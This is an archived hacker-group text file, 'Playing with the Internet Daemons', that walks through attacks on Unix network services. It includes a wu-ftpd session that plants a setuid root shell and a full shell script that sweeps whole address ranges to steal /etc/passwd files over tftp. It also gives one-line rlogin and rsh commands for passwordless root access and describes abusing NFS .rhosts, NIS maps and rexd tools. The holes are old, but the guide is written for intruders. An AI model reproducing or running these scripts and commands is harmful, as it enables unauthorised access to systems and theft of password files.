TUCoPS :: Unix :: General :: demonhck.txt

Playing with the Internet Daemons


<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>                                 

                  

                  Playing with the Internet Daemons

                                by

                           Voyager [TNO]


Internet hosts communicate with each other using either TCP
(Transmission Control Protocol) or UDP (User Datagram Protocol) on top
of IP (Internet Protocol).  Other protocols are used on top of IP, but
TCP and UDP are the ones that are of interest to us.  On a Unix system,
the file /etc/protocols will list the available protocols on your
machine

On the Session Layer (OSI model) or the Internet Layer (DOD Protocol
Model) data is moved between hosts by using ports.  Each data
communication will have a source port number and a destination port
number.  Port numbers can be divided into two types, well-known ports
and dynamically allocated ports.  Under Unix, well-known ports are
defined in the file /etc/services.  In addition, RFC (Request For
Comments) 1700 "Assigned Numbers" provides a complete listing of all
well-known ports.  Dynamically allocated port numbers are assigned as
needed by the system.

Unix provides the ability to connect programs called daemons to
well-known ports.  The remote computer will connect to the well-known
port on the host computer, and be connected to the daemon program.

Daemon programs are traditionally started by inetd (The Internet
Daemon).  Daemon programs to be executed are defined in the inetd
configuration file, /etc/inetd.conf.

Most of these daemons run as a priveledged user, often as root.  Many of
these programs have vulnerabilities which can be exploited to gain access
to remote systems.

The daemons we are interested in are:

        Service          Port Number    Description
        ~~~~~~~~~~~~~    ~~~~~~~~~~~    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        ftp              21             File Transfer [Control]
        smtp             25             Simple Mail Transfer Protocol
        tftp             69             Trivial File Transfer Protocol
        finger           79             Finger
        www-http         80             World Wide Web HTTP
        sunrpc          111             SUN Remote Procedure Call
        fln-spx         221             Berkeley rlogind with SPX auth
        rsh-spx         222             Berkeley rshd with SPX auth
        netinfo         716-719         NetInfo
        ibm-res         1405            IBM Remote Execution Starter
        nfs             2049            Network File System
        x11             6000-6063       X Window System

        rcp/rshd                        Remote Copy/Remote Shell Daemon
        nis                             Network Information Services





The next part of this article will focus on specific daemons and their
known vulnerabilities.  The vulnerabilities with brief explanations will be
explained here.  For the more complicated exploits, which are beyond the
scope of a concise article, more research will be required on the part of
the reader.



 --> ftp              21    File Transfer [Control]

FTP is the File Transfer Protocol.  FTP requests are answered by the FTP
daemon, ftpd.  wuarchive's ftpd versions below 2.2 have a vulnerability
where you can execute any binary you can see with the 'site exec'
command by calling it with a relative pathname with "../" at the
beginning.  Here is a sample exploit:

Login to the system via ftp:

        220 uswest.com FTP server (Version wu-2.1(1) ready.
        Name (uswest.com:waltman): waltman
        331 Password required for waltman.
        Password: jim
        230 User waltman logged in.
        Remote system type is UNIX.
        Using binary mode to transfer files.
        ftp> quote "site exec cp /bin/sh /tmp/.tno"
        200-cp /bin/sh /tmp/tno
        ftp> quote "site exec chmod 6755 /tmp/.tno"
        200-chmod 6755 /tmp/tno
        ftp> quit
        221 Goodbye.



--> smtp             25    Simple Mail Transfer Protocol

Mail attacks are one of the oldest known methods of attacking Internet
hosts.  The most common mail daemon, and least secure, is sendmail. Other
mail daemons include smail, MMDF,and IDA sendmail.  Sendmail has had too
many vulnerabilities to list them all.  There is an entire FAQ written
specifically on sendmail vulnerabilities, therefore we will not cover them
heavily here.

One well known vulnerability, useful only for historical purposes, is
"Wizard Mode."  In Wizard mode you could request a shell via Port 25
(The SMTP port).  No modern system will be vulnerable to this attack.  To
exploit this vulnerability, you telnetted to port 25, typed WIZ to enter
Wizard mode, and entered the password.  The problem related to the way
the encrypted password was stored.  There was a bug that caused the
system to believe that no password was as good as the real password.

To quote Steven Bellovin:

        The intended behavior of wizard mode was that if you supplied
        the right password, some other non-standard SMTP commands were
        enabled, notably one to give you a shell.  The hashed password
        -- one-way encrypted exactly as per /etc/passwd -- was stored in
        the sendmail configuration file.  But there was this bug; to
        explain it, I need to discuss some arcana relating to sendmail
        and the C compiler.

        In order to save the expense of reading and parsing the
        configuration file each time, sendmail has what's known as a
        ``frozen configuration file''.  The concept is fine; the
        implementation isn't.  To freeze the configuration file,
        sendmail just wrote out to disk the entire dynamic memory area
        (used by malloc) and the `bss' area -- the area that took up no
        space in the executable file, but was initialized to all zeros
        by the UNIX kernel when the program was executed.  The bss area
        held all variables that were not given explicit initial values
        by the C source. Naturally, when delivering mail, sendmail just
        read these whole chunks back in, in two giant reads.  It was
        therefore necessary to store all configuration file information
        in the bss or malloc areas, which demanded a fair amount of care
        in coding.

        The wizard mode password was stored in malloc'ed memory, so it
        was frozen properly.  But the pointer to it was explicitly set
        to NULL in the source:

        char    *wiz = NULL;

        That meant that it was in the initialized data area, *not* the
        bss. And it was therefore *not* saved with the frozen
        configuration.  So -- when the configuration file is parsed and
        frozen, the password is read, and written out.  The next time
        sendmail is run, though, the pointer will be reset to NULL.
        (The password is present, of course, but there's no way to find
        it.)  And the code stupidly believed in the concept of no
        password for the back door.

        One more point is worth noting -- during testing, sendmail did
        the right thing with wizard mode.  That is, it did check the
        password -- because if you didn't happen to do the wizard mode
        test with a frozen configuration file -- and most testing would
        not be done that way, since you have to refreeze after each
        compilation -- the pointer would be correct.



 --> tftp             69    Trivial File Transfer Protocol

tftp is the Trivial File Transfer Protocol.  tftp is most often used to
attempt to grab password files from remote systems.  tftp attacks are so
simple and repetitive that scripts are written to automate the process
of attacking entire domains.  Here is one such script:

   #!/bin/sh
   ########################################################################
   #                     TFTP snagger by Yo
   # It snags /etc/passwd files from all hosts with open 69 (tftp) port.
   # scans all hosts from XX.XX.0.0 - XX.XX.255.255
   # you can run it in the background in following way:
   #                snag [hostname] > /dev/null &
   #     [hostname] might be used IP # (with -ip option) as well as FQDN
   #                   Last Updated 10/20/92
   #
   #            Highly modified by ThePublic on 10/21/92
   ########################################################################
   case $1 in
    '')
     echo " Usage: $0 [hostname]  to run in the foreground                    "
     echo "        $0 [hostname] > /dev/null & to run in the background       "
     echo " The [hostname] can be specialized in fully qualified domain name  "
     echo " i.e.- $0 nyx.cs.du.edu - and it'll scan all du.edu domain.        "
     echo " as well as IP with -ip option.                                    "
      exit 1
      ;;
    -ip)
    if [ $2x = x ]; then
     echo " Usage: $0 $1 the IP "
     exit 1
      else
          x=`echo $2 | cut -d. -f1`
         xx=`echo $2 | cut -d. -f2`
        xxx=`echo $2 | cut -d. -f3`
       xxxx=`echo $2 | cut -d. -f4`
   #                        ^ field delimiter is '.' -- get field 1/2/3/4
    fi;;
     *)
   if [ ! -f /usr/ucb/nslookup ] && [ ! -f /usr/local/bin/nslookup ]; then
                                  # -x is for SunOs
    echo sorry dude, no nslookup server .. try it with -ip option.
   exit 1
   fi
   x1=`nslookup $1 | fgrep "Address" | cut -c11-17 | tail -1`
   #                                          ^ 7 chars   ^ last line
   if [ "$x1" = '' ]; then
   echo " There is no such domain. Nothing to scan. Exit. "
   exit 1
   fi
      x=`echo $x1 | cut -d. -f1`  # get the first set of #, ##, or ###
     xx=`echo $x1 | cut -d. -f2`  # get the second set
    xxx=0                         # ignore the rest, if any
   xxxx=0
      ;;
    esac
   if [ $x -lt 1 ] || [ $x -ge 255 ] || [ $xx -lt 1 ] || [ $xx -ge 255 ]; then
    echo There is no such domain. Nothing to scan.
   exit 1
   fi
   while [ $x -ne 255 ]; do

   while [ $xx -ne 255 ]; do
   while [ $xxx -ne 255 ]; do
   while [ $xxxx -ne 255 ]; do
   target=$x.$xx.$xxx.$xxxx
   trap "echo The Process was stopped at $target;rm -rf passwd.$target; exit 1" 2
   tftp << EOF
   c $target
   mode ascii
   trace
   get /etc/passwd passwd.$target
   quit
   EOF
   if [ ! -s passwd.$target ]  ; then
    rm -rf passwd.$target
   echo `date`  $target has rejected an attempt >> .info
     else
     mv passwd.$target  .good.$target
       echo `date` $target is taken, all data is stored in .good.$target file >> .info
    fi
    xxxx=`expr $xxxx + 1 `
   done
   xxxx=0
   xxx=`expr $xxx + 1 `
   done
   xxx=0
   xx=`expr $xx + 1 `
   done
   xx=0
   x=`expr $x + 1 `
   done



 --> finger           79    Finger

The finger command displays information about another user, such as login
name, full name, terminal name, idle time, login time, and location if
known.  finger requests are answered by the fingerd daemon.

Robert Tappan Morris's Internet Worm used the finger daemon.  The finger
daemon allowed up to 512 bytes from the remote machine as part of the
finger request.  fingerd, however, suffered from a buffer overflow bug
caused by a lack proper bounds checking.  Anything over 512 got
interpreted by the machine being fingered as an instruction to be
executed locally, with whatever privileges the finger daemon had.



 --> www-http         80    World Wide Web HTTP

HTML (HyperText Markup Language) allows web page user to execute
programs on the host system.  If the web page designer allows the web
page user to enter arguments to the commands, the system is vulnerable
to the usual problems associated with system() type calls.  In addition,
there is a vulnerability that under some circumstances will give you an
X-Term using the UID that the WWW server is running under.



 --> sunrpc          111    SUN Remote Procedure Call

Sun RPC (Remote Procedure Call) allows users to execute procedures on
remote hosts.  RPC has suffered from a lack of secure authentification.
To exploit RPC vulnerabilities, you should have a program called "ont"
which is not terribly difficult to find.



 --> login           513   Remote login

Some versions of AIX and Linux suffer from a bug in the way that
rlogind reads arguments.  To exploit this vulnerability, issue this
command from a remote system:

rlogin host -l -froot

Where host is the name of the target machine and username is the username
you would like to rlogin as (usully root).  If this bug exists on the
hosts system, you will be logged in, without being asked for a password.



 --> rsh-spx         222    Berkeley rshd with SPX auth

Some versions of Dynix and Irix have a bug in rshd that allows you to
run commands as root.  To exploit this vulnerability, issue this command
from the remote system:

rsh host -l "" /bin/sh



 --> netinfo         716-719    NetInfo

NeXT has implemented a protocol known as NetInfo so that one NeXT
machine can query another NeXT machine for information.  A NetInfo
server will by default allow unrestricted access to system databases.
This can be fixed by the System Administrator.  One of the pieces of
information netinfo will give up is the password file.



 --> ibm-res         1405   IBM Remote Execution Starter

rexd (the remote execution daemon) allows you to execute a program on
another Unix machine.  AIX, NeXT and HPUX versions of rexd have suffered
from a vulnerability allowing unintended remote execution. The rexd
daemon checks your uid on the machine you are coming from, therefore you
must be root on the machine you are mounting the rexd attack from.  To
determine if your target machine is running rexd, use the 'rcp -p
<target>' command.  You will also need the exploit program known as 'on'
which is available on fine H/P boards everywhere.



 --> nfs             2049            Network File System

NFS, the Network File System, from Sun Microsystems has suffered from
multiple security vulnerabilities.  In addition, many system
administrators configure NFS incorrectly, allowing unintended remote
access.

Using the command 'showmount -e <target>' you can view what file systems
are exported from a machine.  Many administrators allow read access to
the /etc directory, allowing you to copy the password file. Other
administrators allow write access to user directories, allowing you to
create .rhosts files and gain access to the machine via rlogin or rsh.

In addition to configuration issues, NFS is vulnerable to attacks using
a uid masking bug, a mknod bug, and a general file handle guessing
attack.  Several hacked versions of the mount command have been written
to exploit known vulnerabilities.



 --> x11             6000-6063       X Window System

X-Windows has suffered and currently suffers from numerous
vulnerabilities. One vulnerability allows you to access another users
display, another allows you to view another users keystrokes.  Another
vulnerability allows a remote attacker to run every program that the
root user starts in his or her .xsession file.  Yet another X-Windows
vulnerability allows a local user to create a root entry in the
/etc/passwd file.



 --> rcp

The SunOS 4.0.x rcp utility can be exploited by any trusted host listed
in /etc/hosts.equiv or /.rhosts.  To exploit this hole you must be
running NFS (Network File System) on a Unix system or PC/NFS on a DOS
system.



 --> NIS

Sun's NIS (Network Information Service) also known as yp (Yellow Pages)
has a vulnerability where you can request an NIS map from another NIS
domain if you know the NIS domain name of the target system.  There is
no way to query a remote system for it's NIS domainname, but many NIS
domain names are easily guessable.  The most popular NIS map to request
is passwd.byname, the NIS implementation of /etc/passwd.  In addition,
if you have access to a diskless Unix workstation, you can determine the
NIS domain name of the server it boots from.

        +--------------------------------------------------------+
        + Do not confuse NIS domain names with DNS domain names! |
        +--------------------------------------------------------+



 --> Other attacks

In addition to these daemon based attacks, many other methods can be
used to gain access to a remote computer.  These include, but are not
limited to: default accounts, password guessing, sniffing, source
routing, DNS routing attacks, tcp sequence prediction and uucp
configuration exploits.

This should give you an idea on how daemon based attacks function.  By
no means is this a complete list of security vulnerabilities in
privileged internet daemons.  To discover more information about how
these daemons operate, and how to exploit their vulnerabilities, I
highly recommend reading source code, man pages and RFC's.


                                                        Voyager[TNO]

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH